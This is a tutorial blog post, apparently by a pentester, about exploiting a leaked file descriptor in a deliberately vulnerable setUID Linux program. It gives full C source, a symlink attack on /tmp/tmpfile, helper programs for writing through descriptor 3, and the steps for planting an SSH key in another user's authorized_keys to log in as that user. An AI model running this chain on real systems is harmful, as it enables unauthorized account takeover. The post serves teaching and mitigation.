In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.
I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.
Example program
Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <stdio.h> int main(int argc, char **argv) { char *cmd = argv[1]; char tmpfilepath[] = "/tmp/tmpfile"; // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later. char data[] = "pointless data\n"; int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600); unlink(tmpfilepath); write(fd, data, strlen(data)); setuid(getuid()); system(cmd); }
Let’s start by compiling this and setting the setUID bit so we have an example to work with:
root@challenge:/# useradd -m tom # victim/target user root@challenge:/# useradd -m bob # attacker root@challenge:/# cd ~bob root@challenge:/home/bob# cp /share/fd-leak.c . root@challenge:/home/bob# gcc -o fd-leak fd-leak.c root@challenge:/home/bob# chown tom:tom fd-leak root@challenge:/home/bob# chmod 4755 fd-leak root@challenge:/home/bob# ls -l fd-leak -rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak root@challenge:/home/bob# su - bob bob@challenge:~$ ./fd-leak id uid=1001(bob) gid=1001(bob) groups=1001(bob)
For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:
root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh
What this program lacks in realism is hopefully made up for in its simplicity.
Normal operation
As can be seen from the code above, the program should:
- Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
- Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
- Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)
Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):
root@challenge:/home/bob# su - bob bob@challenge:~$ ./fd-leak id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@challenge:~$ echo 'echo subshell...' > .bashrc bob@challenge:~$ ./fd-leak id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@challenge:~$ ./fd-leak bash -p subshell... bob@challenge:~$ id uid=1001(bob) gid=1001(bob) groups=1001(bob) root@challenge:/home/bob# useradd -m tom root@challenge:/home/bob# su - tom $ mkdir .ssh $ ls -la total 28 drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 . drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh ...
So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).
Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:
bob@challenge:~$ ls -l /proc/self/fd total 0 lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2 lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2 lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2 lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)' lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd
It does. We’re all set.
High level exploit path
Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:
- Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
- We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
- Finally, we log with via SSH
Practical exploitation
Step 1: Symlink attack
Simple:
ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
This step was harder in the nebula challenge, but I didn’t want to cloud the issue.
If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys -rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile ln: failed to create symbolic link '/tmp/tmpfile': File exists bob@challenge:~$ ls -l /tmp/tmpfile lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys bob@challenge:~$ ./fd-leak id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys -rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).
Step 2: Running code in child process
It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile bob@challenge:~$ ls -l /tmp/tmpfile lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys bob@challenge:~$ ./fd-leak bash subshell... bob@challenge:~$ ls -l /proc/self/fd total 0 lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1 lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1 lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1 lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd
So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:
bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys -rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys bob@challenge:~$ id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys bash: /home/tom/.ssh/authorized_keys: Permission denied bob@challenge:~$ echo > /tmp/tmpfile bash: /tmp/tmpfile: Permission denied bob@challenge:~$ echo > /proc/self/fd/3 bash: /proc/self/fd/3: Permission denied
We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:
- read – that uses the read function to read a set number of bytes from a particular file descriptor
- write – that writes a string of our choosing to a particular file descriptor
- lseek – that lets us position our read/write
Here’s the source and compilation of the (very crude) demo tools:
bob@challenge:~$ cat read.c #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[1024]; memset(buf, 0, 1024); int r = read(atoi(argv[1]), buf, 10); printf("Read %d bytes\n", r); write(1, buf, 10); } bob@challenge:~$ gcc -o read read.c bob@challenge:~$ cat write.c #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { printf("writing %s to fd %s\n", argv[2], argv[1]); write(atoi(argv[1]), argv[2], strlen(argv[2])); } bob@challenge:~$ gcc -o write write.c bob@challenge:~$ cat lseek.c #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { printf("seek to position %s on fd %s\n", argv[2], argv[1]); lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET); } bob@challenge:~$ gcc -o lseek lseek.c
Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:
bob@challenge:~$ ./read 3 Read 0 bytes bob@challenge:~$ ./write 3 hello writing hello to fd 3 bob@challenge:~$ ./read 3 Read 0 bytes
The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:
bob@challenge:~$ ./lseek 3 0 seek to position 0 on fd 3 bob@challenge:~$ ./read 3 Read 10 bytes pointless bob@challenge:~$ ./read 3 Read 10 bytes data hellobob@challenge:~$ ./read 3 Read 0 bytes
Much better.
Finally we need exploit the program above. We have two choices:
- Run a shell as before, then use our new tool to write the key to authorized_keys; or
- Make a new tool using the functions shown above to write to authorized_keys.
Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:
bob@challenge:~$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in bobkey. Your public key has been saved in bobkey.pub. bob@challenge:~$ cat bobkey.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge bob@challenge:~$ ls -l bobkey.pub -rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub bob@challenge:~$ ./lseek 3 0 seek to position 0 on fd 3 bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge' writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3
Step 3: Logging in via SSH
bob@challenge:~$ ssh -i bobkey tom@localhost $ id uid=1002(tom) gid=1002(tom) groups=1002(tom)
We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.
Conclusion
Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.
Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.